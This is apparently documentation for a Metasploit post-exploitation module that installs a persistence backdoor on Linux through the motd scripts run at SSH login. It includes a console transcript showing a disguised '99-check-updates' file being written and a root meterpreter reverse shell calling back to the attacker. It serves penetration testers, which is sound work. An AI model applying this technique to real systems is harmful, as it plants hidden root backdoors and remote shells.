This is a post module that performs a persistence installation on a Linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html). To trigger the persistence execution, an external event such as a user logging in to the system with SSH is required. ## Verification Steps 1. Start msfconsole 2. Obtain a session on the target machine 3. `use exploit/linux/local/motd_persistence` 4. `set session -1` 5. `exploit` ## Module usage ``` msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/motd_persistence [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp msf exploit(linux/local/motd_persistence) > set session -1 session => -1 msf exploit(linux/local/motd_persistence) > exploit [*] /etc/update-motd.d/99-check-updates written msf exploit(linux/local/motd_persistence) > [*] Sending stage (3045380 bytes) to 172.18.49.39 [*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400 msf exploit(linux/local/motd_persistence) > sessions -i -1 [*] Starting interaction with 2... meterpreter > getuid Server username: root meterpreter > ``` ## Options ### BACKDOOR_NAME Specify the name of the file to insert in the motd directory. (Default: 99-check-updates)